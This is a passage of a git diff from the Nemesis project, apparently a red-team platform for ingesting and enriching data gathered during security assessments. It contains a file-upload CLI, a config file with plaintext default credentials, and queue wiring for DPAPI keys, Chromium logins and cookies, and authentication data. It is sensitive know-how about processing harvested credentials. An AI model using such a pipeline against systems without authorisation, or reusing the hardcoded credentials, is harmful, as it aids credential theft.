+ logger.debug("Seatbelt file uploaded to Nemesis", file_uuid=object_id, file_path=file_path)
+
+ metadata = await get_metadata(config, "raw_data")
+
+ raw_data = {}
+ raw_data["tags"] = ["seatbelt_json"]
+ raw_data["data"] = object_id
+ raw_data["is_file"] = True
+
+ resp = await nemesis_post_data(config, {"metadata": metadata, "data": [raw_data]})
+ if resp:
+ logger.debug("Seatbelt NDJSON file data sent to Nemesis", file_uuid=resp["object_id"])
+ return uuid.UUID(resp["object_id"])
+ else:
+ return None
+ else:
+ file_data = {}
+ file_path = os.path.abspath(file_path)
+ file_data["path"] = file_path
+
+ file_data["size"] = os.path.getsize(file_path)
+
+ object_id = await nemesis_post_file(config, file_path)
+ if not object_id:
+ return
+ else:
+ logger.debug("File uploaded to Nemesis", file_uuid=object_id, file_path=file_path)
+
+ file_data["object_id"] = object_id
+ metadata = await get_metadata(config)
+
+ # post to the Nemesis data API (`data` needs to be an array of dictionaries!)
+ resp = await nemesis_post_data(config, {"metadata": metadata, "data": [file_data]})
+ if resp:
+ logger.debug("File data submitted to Nemesis", file_uuid=resp["object_id"], path=file_path)
+ return uuid.UUID(resp["object_id"])
+ else:
+ return None
+
+
+async def process_folder(config, folder_path) -> AsyncIterator:
+ """
+ Processes all files in a folder.
+ """
+
+ if config["sec_between_files"] > 0:
+ workers = 1
+ logger.info("Processing files in folder synchronously", folder_path=folder_path, workers=1, sec_between_files=config["sec_between_files"])
+ else:
+ workers = config["workers"]
+ logger.info("Processing files in folder concurrently", folder_path=folder_path, workers=config["workers"], sec_between_files=config["sec_between_files"])
+
+ yield submit_paths_concurrently(config, folder_path, workers, config["sec_between_files"])
+
+
+# Keep this global for now so we can cancel pending tasks during shutdown/global exceptions
+pending = set()
+
+
+async def limit_concurrency(aws: Iterator | AsyncIterator, limit: int) -> AsyncIterator:
+ """Limits the concurrency of async functions.
+
+ Graciously took this function from https://death.andgravity.com/limit-concurrency.
+
+ Args:
+ aws (Iterator | AsyncIterator): An iterator that produces values .
+ limit (int): The maximum number of concurrent async tasks.
+
+ Yields:
+ AsyncIterator: An iterator that produces values at a rate defined by the limit.
+ """
+ global pending
+
+ try:
+ aws = aiter(aws) # type: ignore
+ is_async = True
+ except TypeError:
+ aws = iter(aws) # type: ignore
+ is_async = False
+
+ aws_ended = False
+
+ while pending or not aws_ended:
+ while len(pending) < limit and not aws_ended:
+ try:
+ aw = await anext(aws) if is_async else next(aws) # type: ignore
+ except StopAsyncIteration if is_async else StopIteration:
+ aws_ended = True
+ else:
+ pending.add(asyncio.ensure_future(aw))
+
+ if not pending:
+ return
+
+ done, pending = await asyncio.wait(pending, return_when=asyncio.FIRST_COMPLETED)
+ while done:
+ yield done.pop()
+
+
+async def map_unordered(func: Callable, iterable: Iterator | AsyncIterator, limit=10) -> AsyncIterator:
+ """Runs an async function over an iterable, limiting the number of async tasks that run concurrently.
+
+ Ref - https://death.andgravity.com/limit-concurrency#async-iterables
+
+ Args:
+ func (Callable): Function to execution on each item in the iterable.
+ iterable (Iterator | AsyncIterator): Generator function that produces values.
+ limit (int, optional): The maximum number of concurrent async tasks. Defaults to 10.
+
+ Yields:
+ AsyncIterator: The result of the async function
+
+ Examples:
+ Examples should be written in doctest format, and should illustrate how
+ to use the function.
+
+ >>> async def async_print(arg):
+ print("in async_print", arg)
+ return arg
+
+
+ async def main():
+ async for result in map_unordered(async_print, range(1), 1):
+ await asyncio.sleep(0.1)
+ print("got result")
+
+
+ if __name__ == "__main__":
+ asyncio.run(main())
+ """
+ try:
+ aws = map(func, iterable)
+ except TypeError:
+ aws = (func(x) async for x in iterable)
+
+ async for task in limit_concurrency(aws, limit):
+ yield await task
+
+
+# Ref - https://death.andgravity.com/limit-concurrency#async-iterables
+def return_args_and_exceptions(func, exception_handler: Callable) -> Callable:
+ async def _return_args_and_exceptions(func, *args) -> Tuple[Any, Any, Optional[Exception]]:
+ try:
+ return *args, await func(*args)
+ except Exception as e:
+ exception_handler(e, args)
+ return *args, e
+
+ return functools.partial(_return_args_and_exceptions, func)
+
+
+async def submit_paths_concurrently(config, paths: List[str], workers: int, delay: float = 0) -> AsyncIterator[Tuple[str, uuid.UUID]]:
+ """Submits files to Nemesis concurrently.
+
+ Args:
+ config (_type_): submit_to_nemesis configuration object.
+ paths (List[str]): List of file or folder paths to submit to Nemesis.
+ workers (int): Number of concurrent tasks that can run at once.
+ delay (float, optional): Time delay between each submission. Defaults to 0.
+
+ Returns:
+ AsyncIterator[Tuple[str, uuid.UUID]]: _description_
+
+ Yields:
+ Iterator[AsyncIterator[Tuple[str, uuid.UUID]]]: _description_
+ """
+ total_file_count = 0
+ result_count = 0
+
+ def get_files():
+ nonlocal total_file_count
+ global logger
+
+ for path in paths:
+ # get the absolute path
+ path = os.path.abspath(path)
+ # Check if the path exists
+ if not os.path.exists(path):
+ logger.error("Path does not exist", path=path)
+ continue
+
+ if os.path.isfile(path):
+ total_file_count += 1
+ yield path
+ else:
+ for file_path in filter(os.path.isfile, glob.glob(path + "/**/*", recursive=True)):
+ total_file_count += 1
+
+ for file_path in filter(os.path.isfile, glob.glob(path + "/**/*", recursive=True)):
+ yield file_path
+
+ async def process_file_local(file_path) -> uuid.UUID | None:
+ structlog.contextvars.bind_contextvars(
+ file_path=file_path,
+ )
+
+ logger.info("Processing file")
+
+ file_uuid = await process_file(config, file_path)
+
+ logger.info(
+ f"Done processing file {result_count+1}/{total_file_count}",
+ file_uuid=str(file_uuid),
+ total_completed=result_count + 1,
+ total_file_count=total_file_count,
+ )
+ structlog.contextvars.clear_contextvars()
+
+ if delay > 0:
+ await asyncio.sleep(delay)
+
+ return file_uuid
+
+ def exception_handler(e, args):
+ logger.exception("Error processing file", args=args)
+
+ wrapped_process_file = return_args_and_exceptions(process_file_local, exception_handler)
+
+ try:
+ async for result in map_unordered(wrapped_process_file, get_files(), limit=workers):
+ result_count += 1
+ yield result
+ except asyncio.CancelledError:
+ logger.warn("Cancelled file uploads")
+
+ logger.info(f"Completed processing {result_count} files out of {total_file_count} total files")
+
+
+async def is_file_processed(es_client, message_id: int):
+ query = {"bool": {"filter": [{"match_phrase": {"metadata.messageId": message_id}}]}}
+
+ try:
+ resp = es_client.search(index="file_data_enriched", query=query, source=True, source_includes=["objectId"])
+ hits = resp["hits"]["hits"]
+ if len(hits) == 0:
+ return False
+ else:
+ return True
+ except Exception as e:
+ print(f"[!] Exception querying Elastic: {e}")
+ return False
+
+
+async def amain():
+ paths_to_process = []
+ processed_file_uuids = []
+ config = await get_config()
+ if not config:
+ return
+
+ try:
+ if config["cookies"]:
+ await submit_random_cookies(config, config["cookies"])
+ else:
+ if config["file"]:
+ for f in config["file"]:
+ paths_to_process.append(f)
+
+ if config["folder"]:
+ for f in config["folder"]:
+ paths_to_process.append(f)
+
+ for i in range(config["repeat"] + 1):
+ logger.info("Waiting for tasks to complete")
+ async for result in submit_paths_concurrently(config, paths_to_process, config["workers"], config["sec_between_files"]):
+ path, file_uuid = result
+ processed_file_uuids.append(file_uuid)
+ except asyncio.CancelledError:
+ pass
+
+ # Currently commented out since it has a bug since not all files go all the way through the file enrichment pipeline, so it'll hang on exit. Also isn't async
+ # es_user, es_pass = config["elasticsearch_creds"].split(":"
+ # es_client = Elasticsearch(config["elasticsearch_url"], basic_auth=(es_user, es_pass), verify_certs=False, ssl_show_warn=False)
+ # # while len(processed_file_uuids) > 0:
+ # time.sleep(1)
+ # for file_uuid in processed_file_uuids:
+ # processed = await is_file_processed(es_client, file_uuid)
+ # if processed:
+ # processed_file_uuids.remove(file_uuid)
+
+ # logger.info(f"Processed {num_files_submitted} files in {datetime.now() - start_time}\n")
diff --git a/cmd/enrichment/enrichment/cli/submit_to_nemesis/submit_to_nemesis.yaml b/cmd/enrichment/enrichment/cli/submit_to_nemesis/submit_to_nemesis.yaml
new file mode 100644
index 0000000..783ef9c
--- /dev/null
+++ b/cmd/enrichment/enrichment/cli/submit_to_nemesis/submit_to_nemesis.yaml
@@ -0,0 +1,10 @@
+elasticsearch_creds: nemesis:Qwerty12345
+elasticsearch_url: http://127.0.0.1:8080/elastic/
+expiration_days: 100
+# nemesis_url: http://127.0.0.1:8080/api/
+nemesis_url: http://127.0.0.1:8080/api/
+nemesis_creds: nemesis:Qwerty12345
+network_name: 'test'
+operator_name: WILL
+project_name: ASSESS-TEST
+log_level: INFO
diff --git a/cmd/enrichment/enrichment/containers.py b/cmd/enrichment/enrichment/containers.py
new file mode 100644
index 0000000..a34ba20
--- /dev/null
+++ b/cmd/enrichment/enrichment/containers.py
@@ -0,0 +1,653 @@
+# Standard Libraries
+from typing import AsyncGenerator
+
+# 3rd Party Libraries
+import enrichment.settings as settings
+import google.protobuf.message
+import httpx
+import nemesiscommon.constants as constants
+import nemesispb.nemesis_pb2 as pb
+import structlog
+from dependency_injector import containers, providers
+from elasticsearch import AsyncElasticsearch
+from enrichment.lib.nemesis_db import NemesisDb
+from enrichment.services.text_extractor import TikaTextExtractor
+from enrichment.settings import EnrichmentSettings
+from enrichment.tasks.chromium_cookie import ChromiumCookie
+from enrichment.tasks.dpapi.dpapi import Dpapi
+from enrichment.tasks.elastic_connector import ElasticConnector
+from enrichment.tasks.file_processor import FileProcessor
+from enrichment.tasks.postgres_connector.postgres_connector import (
+ PostgresConnector, RegistryWatcher)
+from enrichment.tasks.process_categorizer.categorizer import \
+ CsvProcessCategorizer
+from enrichment.tasks.process_categorizer.process_categorizer import \
+ ProcessCategorizer
+from enrichment.tasks.raw_data_tag.raw_data_tag import RawDataTag
+from enrichment.tasks.registry_hive import RegistryHive
+from enrichment.tasks.service_categorizer.categorizer import \
+ TsvServiceCategorizer
+from enrichment.tasks.service_categorizer.service_categorizer import \
+ ServiceCategorizer
+from enrichment.tasks.slack_webhook_alerter import SlackWebHookAlerter
+from enrichment.tasks.webapi.crack_list.cracklist_api import CrackListApi
+from enrichment.tasks.webapi.landingpage import LandingPageApi
+from enrichment.tasks.webapi.ml_models_api import MlModelsApi
+from enrichment.tasks.webapi.nemesis_api import NemesisApi
+from enrichment.tasks.webapi.yara_api import YaraApi
+from nemesiscommon.constants import NemesisQueue
+from nemesiscommon.messaging_rabbitmq import (NemesisRabbitMQConsumer,
+ NemesisRabbitMQProducer)
+from nemesiscommon.services.alerter import NemesisAlerter
+from nemesiscommon.storage_minio import StorageMinio
+from nemesiscommon.storage_s3 import StorageS3
+
+logger = structlog.get_logger(module=__name__)
+
+
+async def create_consumer(
+ rabbitmq_connection_uri: str,
+ queue: NemesisQueue,
+ message_type: google.protobuf.message.Message,
+ service_id: str,
+ num_events: int = 250,
+):
+ async with (await NemesisRabbitMQConsumer.create(rabbitmq_connection_uri, queue, message_type, service_id, num_events) as inputQ,): # type: ignore
+ yield inputQ
+
+
+async def create_producer(rabbitmq_connection_uri: str, queue: NemesisQueue):
+ async with (
+ await NemesisRabbitMQProducer.create(
+ rabbitmq_connection_uri,
+ queue,
+ ) as outputQ,
+ ):
+ yield outputQ
+
+
+async def create_queue_map(rabbitmq_connection_uri: str):
+ queues = {
+ q: await NemesisRabbitMQProducer.create(
+ rabbitmq_connection_uri,
+ q,
+ )
+ for q in constants.ALL_QUEUES
+ }
+ yield queues
+
+ # Shutdown
+ for q in queues.values():
+ await q.Close()
+
+
+async def create_nemesis_db(postgres_connection_uri: str):
+ db = await NemesisDb.create(postgres_connection_uri)
+ yield db
+ await db.Close()
+
+
+async def create_http_retry_client() -> AsyncGenerator[httpx.AsyncClient, None]:
+ transport = httpx.AsyncHTTPTransport(retries=5)
+ async with httpx.AsyncClient(transport=transport) as client:
+ yield client
+
+
+class Container(containers.DeclarativeContainer):
+ #
+ # Configuration
+ #
+
+ # Use this if you want to pass settings to the providers below
+ config: EnrichmentSettings = providers.Configuration(pydantic_settings=[settings.config], strict=True) # type: ignore
+
+ # Use this if a class needs to be instantiated with a EnrichmentSettings object
+ config2 = providers.Factory(EnrichmentSettings)
+
+ #
+ # Input Queues
+ # Format: inputq__
+ #
+ inputq_alert_slackwebhookalert = providers.Resource(
+ create_consumer, config.rabbitmq_connection_uri, constants.Q_ALERT, pb.Alert, "slackwebhookalert"
+ )
+ inputq_filedata_fileprocessor = providers.Resource(
+ create_consumer, config.rabbitmq_connection_uri, constants.Q_FILE_DATA, pb.FileDataIngestionMessage, "fileprocessor"
+ )
+ inputq_filedataenriched_fileprocessor = providers.Resource(
+ create_consumer, config.rabbitmq_connection_uri, constants.Q_FILE_DATA_ENRICHED, pb.FileDataEnrichedMessage, "fileprocessor"
+ )
+ inputq_process_processcategorizer = providers.Resource(
+ create_consumer, config.rabbitmq_connection_uri, constants.Q_PROCESS, pb.ProcessIngestionMessage, "processcategorizer"
+ )
+ inputq_service_servicecategorizer = providers.Resource(
+ create_consumer, config.rabbitmq_connection_uri, constants.Q_SERVICE, pb.ServiceIngestionMessage, "servicecategorizer"
+ )
+
+ inputq_authdata_elasticconnector = providers.Resource(
+ create_consumer,
+ config.rabbitmq_connection_uri,
+ constants.Q_AUTHENTICATION_DATA,
+ pb.AuthenticationDataIngestionMessage,
+ "elasticconnector",
+ num_events=500,
+ )
+ inputq_extractedhash_elasticconnector = providers.Resource(
+ create_consumer,
+ config.rabbitmq_connection_uri,
+ constants.Q_EXTRACTED_HASH,
+ pb.ExtractedHashMessage,
+ "elasticconnector",
+ num_events=500,
+ )
+ inputq_processenriched_elasticconnector = providers.Resource(
+ create_consumer,
+ config.rabbitmq_connection_uri,
+ constants.Q_PROCESS_ENRICHED,
+ pb.ProcessEnrichedMessage,
+ "elasticconnector",
+ num_events=500,
+ )
+ inputq_serviceenriched_elasticconnector = providers.Resource(
+ create_consumer,
+ config.rabbitmq_connection_uri,
+ constants.Q_SERVICE_ENRICHED,
+ pb.ServiceEnrichedMessage,
+ "elasticconnector",
+ num_events=500,
+ )
+ inputq_fileinfo_elasticconnector = providers.Resource(
+ create_consumer,
+ config.rabbitmq_connection_uri,
+ constants.Q_FILE_INFORMATION,
+ pb.FileInformationIngestionMessage,
+ "elasticconnector",
+ num_events=500,
+ )
+ inputq_filedataenriched_elasticconnector = providers.Resource(
+ create_consumer,
+ config.rabbitmq_connection_uri,
+ constants.Q_FILE_DATA_ENRICHED,
+ pb.FileDataEnrichedMessage,
+ "elasticconnector",
+ num_events=500,
+ )
+ inputq_filedataplaintext_elasticconnector = providers.Resource(
+ create_consumer,
+ config.rabbitmq_connection_uri,
+ constants.Q_FILE_DATA_PLAINTEXT,
+ pb.FileDataPlaintextMessage,
+ "elasticconnector",
+ num_events=500,
+ )
+ inputq_filedatasourcecode_elasticconnector = providers.Resource(
+ create_consumer,
+ config.rabbitmq_connection_uri,
+ constants.Q_FILE_DATA_SOURCECODE,
+ pb.FileDataSourcecodeMessage,
+ "elasticconnector",
+ num_events=500,
+ )
+ inputq_registryvalue_elasticconnector = providers.Resource(
+ create_consumer,
+ config.rabbitmq_connection_uri,
+ constants.Q_REGISTRY_VALUE,
+ pb.RegistryValueIngestionMessage,
+ "elasticconnector",
+ num_events=500,
+ )
+ inputq_namedpipe_elasticconnector = providers.Resource(
+ create_consumer,
+ config.rabbitmq_connection_uri,
+ constants.Q_NAMED_PIPE,
+ pb.NamedPipeIngestionMessage,
+ "elasticconnector",
+ num_events=500,
+ )
+ inputq_networkconnection_elasticconnector = providers.Resource(
+ create_consumer,
+ config.rabbitmq_connection_uri,
+ constants.Q_NETWORK_CONNECTION,
+ pb.NetworkConnectionIngestionMessage,
+ "elasticconnector",
+ num_events=500,
+ )
+
+ inputq_authdata_postgresconnector = providers.Resource(
+ create_consumer,
+ config.rabbitmq_connection_uri,
+ constants.Q_AUTHENTICATION_DATA,
+ pb.AuthenticationDataIngestionMessage,
+ "postgresconnector",
+ num_events=500,
+ )
+ inputq_chromiumcookies_postgresconnector = providers.Resource(
+ create_consumer,
+ config.rabbitmq_connection_uri,
+ constants.Q_CHROMIUM_COOKIE,
+ pb.ChromiumCookieMessage,
+ "postgresconnector",
+ num_events=500,
+ )
+ inputq_chromiumdownloads_postgresconnector = providers.Resource(
+ create_consumer,
+ config.rabbitmq_connection_uri,
+ constants.Q_CHROMIUM_DOWNLOAD,
+ pb.ChromiumDownloadMessage,
+ "postgresconnector",
+ num_events=500,
+ )
+ inputq_chromiumhistory_postgresconnector = providers.Resource(
+ create_consumer,
+ config.rabbitmq_connection_uri,
+ constants.Q_CHROMIUM_HISTORY,
+ pb.ChromiumHistoryMessage,
+ "postgresconnector",
+ num_events=500,
+ )
+ inputq_chromiumlogin_postgresconnector = providers.Resource(
+ create_consumer,
+ config.rabbitmq_connection_uri,
+ constants.Q_CHROMIUM_LOGIN,
+ pb.ChromiumLoginMessage,
+ "postgresconnector",
+ num_events=500,
+ )
+ inputq_chromiumstatefile_postgresconnector = providers.Resource(
+ create_consumer,
+ config.rabbitmq_connection_uri,
+ constants.Q_CHROMIUM_STATE_FILE_PROCESSED,
+ pb.ChromiumStateFileMessage,
+ "postgresconnector",
+ num_events=500,
+ )
+ inputq_dpapiblobprocessed_postgresconnector = providers.Resource(
+ create_consumer,
+ config.rabbitmq_connection_uri,
+ constants.Q_DPAPI_BLOB_PROCESSED,
+ pb.DpapiBlobMessage,
+ "postgresconnector",
+ num_events=500,
+ )
+ inputq_extractedhash_postgresconnector = providers.Resource(
+ create_consumer,
+ config.rabbitmq_connection_uri,
+ constants.Q_EXTRACTED_HASH,
+ pb.ExtractedHashMessage,
+ "postgresconnector",
+ num_events=500,
+ )
+ inputq_filedataenriched_postgresconnector = providers.Resource(
+ create_consumer,
+ config.rabbitmq_connection_uri,
+ constants.Q_FILE_DATA_ENRICHED,
+ pb.FileDataEnrichedMessage,
+ "postgresconnector",
+ num_events=500,
+ )
+ inputq_fileinfo_postgresconnector = providers.Resource(
+ create_consumer,
+ config.rabbitmq_connection_uri,
+ constants.Q_FILE_INFORMATION,
+ pb.FileInformationIngestionMessage,
+ "postgresconnector",
+ num_events=500,
+ )
+ inputq_pathlist_postgresconnector = providers.Resource(
+ create_consumer,
+ config.rabbitmq_connection_uri,
+ constants.Q_PATH_LIST,
+ pb.PathListIngestionMessage,
+ "postgresconnector",
+ num_events=500,
+ )
+ inputq_rawdata_rawdatatagtask = providers.Resource(
+ create_consumer, config.rabbitmq_connection_uri, constants.Q_RAW_DATA, pb.RawDataIngestionMessage, "rawdatatag", num_events=100
+ )
+ inputq_registryvalue_postgresconnector = providers.Resource(
+ create_consumer,
+ config.rabbitmq_connection_uri,
+ constants.Q_REGISTRY_VALUE,
+ pb.RegistryValueIngestionMessage,
+ "postgresconnector",
+ num_events=500,
+ )
+ inputq_namedpipe_postgresconnector = providers.Resource(
+ create_consumer,
+ config.rabbitmq_connection_uri,
+ constants.Q_NAMED_PIPE,
+ pb.NamedPipeIngestionMessage,
+ "postgresconnector",
+ num_events=500,
+ )
+ inputq_serviceenriched_postgresconnector = providers.Resource(
+ create_consumer,
+ config.rabbitmq_connection_uri,
+ constants.Q_SERVICE_ENRICHED,
+ pb.ServiceEnrichedMessage,
+ "postgresconnector",
+ num_events=500,
+ )
+ inputq_networkconnection_postgresconnector = providers.Resource(
+ create_consumer,
+ config.rabbitmq_connection_uri,
+ constants.Q_NETWORK_CONNECTION,
+ pb.NetworkConnectionIngestionMessage,
+ "postgresconnector",
+ num_events=500,
+ )
+
+ inputq_dpapiblob_dpapitask = providers.Resource(
+ create_consumer, config.rabbitmq_connection_uri, constants.Q_DPAPI_BLOB, pb.DpapiBlobMessage, "dpapi"
+ )
+ inputq_chromiumlogin_dpapitask = providers.Resource(
+ create_consumer, config.rabbitmq_connection_uri, constants.Q_CHROMIUM_LOGIN, pb.ChromiumLoginMessage, "dpapi"
+ )
+ inputq_chromiumstatefile_dpapitask = providers.Resource(
+ create_consumer, config.rabbitmq_connection_uri, constants.Q_CHROMIUM_STATE_FILE, pb.ChromiumStateFileMessage, "dpapi"
+ )
+ inputq_dpapidomainbackupkey_dpapitask = providers.Resource(
+ create_consumer, config.rabbitmq_connection_uri, constants.Q_DPAPI_DOMAIN_BACKUPKEY, pb.DpapiDomainBackupkeyMessage, "dpapi"
+ )
+ inputq_dpapimasterkey_dpapitask = providers.Resource(
+ create_consumer, config.rabbitmq_connection_uri, constants.Q_DPAPI_MASTERKEY, pb.DpapiMasterkeyMessage, "dpapi"
+ )
+ inputq_authenticationdata_dpapitask = providers.Resource(
+ create_consumer, config.rabbitmq_connection_uri, constants.Q_AUTHENTICATION_DATA, pb.AuthenticationDataIngestionMessage, "dpapi"
+ )
+
+ inputq_cookie_chromiumcookie = providers.Resource(
+ create_consumer, config.rabbitmq_connection_uri, constants.Q_COOKIE, pb.CookieIngestionMessage, "chromiumcookie", num_events=500
+ )
+ inputq_chromiumcookie_chromiumcookie = providers.Resource(
+ create_consumer,
+ config.rabbitmq_connection_uri,
+ constants.Q_CHROMIUM_COOKIE,
+ pb.ChromiumCookieMessage,
+ "chromiumcookie",
+ num_events=500,
+ )
+
+ inputq_filedataenriched_registryhive = providers.Resource(
+ create_consumer,
+ config.rabbitmq_connection_uri,
+ constants.Q_FILE_DATA_ENRICHED,
+ pb.FileDataEnrichedMessage,
+ "registryhive",
+ )
+
+ #
+ # Output Queues (alphabetical order)
+ #
+
+ outputq_alert = providers.Resource(create_producer, config.rabbitmq_connection_uri, constants.Q_ALERT)
+ outputq_authdata = providers.Resource(create_producer, config.rabbitmq_connection_uri, constants.Q_AUTHENTICATION_DATA)
+ outputq_chromiumcookies = providers.Resource(create_producer, config.rabbitmq_connection_uri, constants.Q_CHROMIUM_COOKIE)
+ outputq_chromiumcookiesprocessed = providers.Resource(
+ create_producer, config.rabbitmq_connection_uri, constants.Q_CHROMIUM_COOKIE_PROCESSED
+ )
+ outputq_chromiumdownload = providers.Resource(create_producer, config.rabbitmq_connection_uri, constants.Q_CHROMIUM_DOWNLOAD)
+ outputq_chromiumhistory = providers.Resource(create_producer, config.rabbitmq_connection_uri, constants.Q_CHROMIUM_HISTORY)
+ outputq_chromiumlogin = providers.Resource(create_producer, config.rabbitmq_connection_uri, constants.Q_CHROMIUM_LOGIN)
+ outputq_chromiumloginprocessed = providers.Resource(
+ create_producer, config.rabbitmq_connection_uri, constants.Q_CHROMIUM_LOGIN_PROCESSED
+ )
+ outputq_chromiumstatefile = providers.Resource(create_producer, config.rabbitmq_connection_uri, constants.Q_CHROMIUM_STATE_FILE)
+ outputq_chromiumstatefileprocessed = providers.Resource(
+ create_producer, config.rabbitmq_connection_uri, constants.Q_CHROMIUM_STATE_FILE_PROCESSED
+ )
+ outputq_dpapiblob = providers.Resource(create_producer, config.rabbitmq_connection_uri, constants.Q_DPAPI_BLOB)
+ outputq_dpapiblobprocessed = providers.Resource(create_producer, config.rabbitmq_connection_uri, constants.Q_DPAPI_BLOB_PROCESSED)
+ outputq_dpapidomainbackupkey = providers.Resource(create_producer, config.rabbitmq_connection_uri, constants.Q_DPAPI_DOMAIN_BACKUPKEY)
+ outputq_dpapimasterkey = providers.Resource(create_producer, config.rabbitmq_connection_uri, constants.Q_DPAPI_MASTERKEY)
+ outputq_dpapimasterkeyprocessed = providers.Resource(
+ create_producer, config.rabbitmq_connection_uri, constants.Q_DPAPI_MASTERKEY_PROCESSED
+ )
+ outputq_filedata = providers.Resource(create_producer, config.rabbitmq_connection_uri, constants.Q_FILE_DATA)
+ outputq_filedataenriched = providers.Resource(create_producer, config.rabbitmq_connection_uri, constants.Q_FILE_DATA_ENRICHED)
+ outputq_filedataplaintext = providers.Resource(create_producer, config.rabbitmq_connection_uri, constants.Q_FILE_DATA_PLAINTEXT)
+ outputq_filedatasourcecode = providers.Resource(create_producer, config.rabbitmq_connection_uri, constants.Q_FILE_DATA_SOURCECODE)
+ outputq_fileinfo = providers.Resource(create_producer, config.rabbitmq_connection_uri, constants.Q_FILE_INFORMATION)
+ outputq_namedpipe = providers.Resource(create_producer, config.rabbitmq_connection_uri, constants.Q_NAMED_PIPE)
+ outputq_networkconnection = providers.Resource(create_producer, config.rabbitmq_connection_uri, constants.Q_NETWORK_CONNECTION)
+ outputq_processenriched = providers.Resource(create_producer, config.rabbitmq_connection_uri, constants.Q_PROCESS_ENRICHED)
+ outputq_rawdata = providers.Resource(create_producer, config.rabbitmq_connection_uri, constants.Q_RAW_DATA)
+ outputq_registryvalue = providers.Resource(create_producer, config.rabbitmq_connection_uri, constants.Q_REGISTRY_VALUE)
+ outputq_service = providers.Resource(create_producer, config.rabbitmq_connection_uri, constants.Q_SERVICE)
+ outputq_serviceenriched = providers.Resource(create_producer, config.rabbitmq_connection_uri, constants.Q_SERVICE_ENRICHED)
+ queue_name_to_producer_map = providers.Resource(create_queue_map, config.rabbitmq_connection_uri) # Required by the web_api service
+
+ #
+ # Services
+ #
+ alerter_service = providers.Factory(NemesisAlerter, outputq_alert, config.public_kibana_url)
+
+ elasticsearch_client = providers.Factory(
+ AsyncElasticsearch,
+ config.elasticsearch_url,
+ basic_auth=providers.List(config.elasticsearch_user, config.elasticsearch_password),
+ verify_certs=False,
+ retry_on_timeout=True,
+ max_retries=10,
+ request_timeout=10,
+ maxsize=20,
+ )
+
+ http_client = providers.Resource(create_http_retry_client)
+
+ storage_service_s3 = providers.Singleton(
+ StorageS3,
+ assessment_id=config.assessment_id,
+ data_download_dir=config.data_download_dir,
+ aws_access_key_id=config.aws_access_key_id,
+ aws_secret_access_key=config.aws_secret_access_key,
+ aws_default_region=config.aws_default_region,
+ aws_bucket_name=config.aws_bucket,
+ aws_kms_key_alias=config.aws_kms_key_alias,
+ )
+ storage_service_minio = providers.Singleton(
+ StorageMinio,
+ assessment_id=config.assessment_id,
+ data_download_dir=config.data_download_dir,
+ access_key=config.minio_root_user,
+ secret_key=config.minio_root_password,
+ )
+
+ # this is overridden in bootstrap.py if s3 is specified,
+ # otherwise we use minio as the default
+ storage_service = storage_service_minio
+
+ text_extractor = providers.Factory(
+ TikaTextExtractor,
+ config.tika_uri,
+ http_client,
+ )
+
+ database = providers.Resource(create_nemesis_db, config.postgres_connection_uri)
+
+ process_categorizer = providers.Factory(CsvProcessCategorizer)
+ service_categorizer = providers.Factory(TsvServiceCategorizer)
+ registry_watcher = providers.Factory(RegistryWatcher, database, outputq_dpapiblob)
+
+ #
+ # Enrichment Service Tasks (alphabetical order)
+ #
+ task_alerting = providers.Factory(
+ SlackWebHookAlerter,
+ inputq_alert_slackwebhookalert,
+ config.slack_webhook_url,
+ config.slack_username,
+ config.slack_emoji,
+ config.slack_channel,
+ http_client,
+ config.disable_alerting,
+ )
+
+ task_chromiumcookie = providers.Factory(
+ ChromiumCookie,
+ database,
+ inputq_chromiumcookie_chromiumcookie,
+ inputq_cookie_chromiumcookie,
+ outputq_chromiumcookies,
+ outputq_chromiumcookiesprocessed,
+ )
+
+ task_dpapi = providers.Factory(
+ Dpapi,
+ config.data_download_dir,
+ alerter_service,
+ database,
+ storage_service,
+ inputq_chromiumlogin_dpapitask,
+ inputq_chromiumstatefile_dpapitask,
+ inputq_dpapiblob_dpapitask,
+ inputq_dpapidomainbackupkey_dpapitask,
+ inputq_dpapimasterkey_dpapitask,
+ inputq_authenticationdata_dpapitask,
+ outputq_chromiumloginprocessed,
+ outputq_chromiumstatefileprocessed,
+ outputq_dpapiblobprocessed,
+ outputq_dpapimasterkeyprocessed,
+ )
+
+ task_elasticconnector = providers.Factory(
+ ElasticConnector,
+ storage_service,
+ elasticsearch_client,
+ config.web_api_url,
+ config.public_kibana_url,
+ inputq_authdata_elasticconnector,
+ inputq_extractedhash_elasticconnector,
+ inputq_filedataenriched_elasticconnector,
+ inputq_filedataplaintext_elasticconnector,
+ inputq_filedatasourcecode_elasticconnector,
+ inputq_fileinfo_elasticconnector,
+ inputq_processenriched_elasticconnector,
+ inputq_registryvalue_elasticconnector,
+ inputq_serviceenriched_elasticconnector,
+ inputq_namedpipe_elasticconnector,
+ inputq_networkconnection_elasticconnector,
+ )
+
+ task_fileprocessor = providers.Factory(
+ FileProcessor,
+ alerter_service,
+ storage_service,
+ text_extractor,
+ # URIs
+ config.crack_list_uri,
+ config.dotnet_uri,
+ config.gotenberg_uri,
+ config.ml_models_uri,
+ config.public_kibana_url,
+ # Other settings
+ config.chunk_size,
+ config.data_download_dir,
+ config.extracted_archive_size_limit,
+ config.model_word_limit,
+ # Queues
+ inputq_filedata_fileprocessor,
+ inputq_filedataenriched_fileprocessor,
+ outputq_alert,
+ outputq_authdata,
+ outputq_chromiumcookies,
+ outputq_chromiumdownload,
+ outputq_chromiumhistory,
+ outputq_chromiumlogin,
+ outputq_chromiumstatefile,
+ outputq_dpapiblob,
+ outputq_dpapimasterkey,
+ outputq_filedata,
+ outputq_filedataenriched,
+ outputq_filedataplaintext,
+ outputq_filedatasourcecode,
+ outputq_rawdata,
+ )
+
+ task_postgresconnector = providers.Factory(
+ PostgresConnector,
+ database,
+ registry_watcher,
+ inputq_authdata_postgresconnector,
+ inputq_chromiumcookies_postgresconnector,
+ inputq_chromiumdownloads_postgresconnector,
+ inputq_chromiumhistory_postgresconnector,
+ inputq_chromiumlogin_postgresconnector,
+ inputq_chromiumstatefile_postgresconnector,
+ inputq_dpapiblobprocessed_postgresconnector,
+ inputq_extractedhash_postgresconnector,
+ inputq_filedataenriched_postgresconnector,
+ inputq_fileinfo_postgresconnector,
+ inputq_pathlist_postgresconnector,
+ inputq_registryvalue_postgresconnector,
+ inputq_namedpipe_postgresconnector,
+ inputq_serviceenriched_postgresconnector,
+ inputq_networkconnection_postgresconnector,
+ )
+
+ task_processcategorizer = providers.Factory(
+ ProcessCategorizer, inputq_process_processcategorizer, outputq_processenriched, process_categorizer
+ )
+
+ task_rawdatatag = providers.Factory(
+ RawDataTag,
+ storage_service,
+ database,
+ inputq_rawdata_rawdatatagtask,
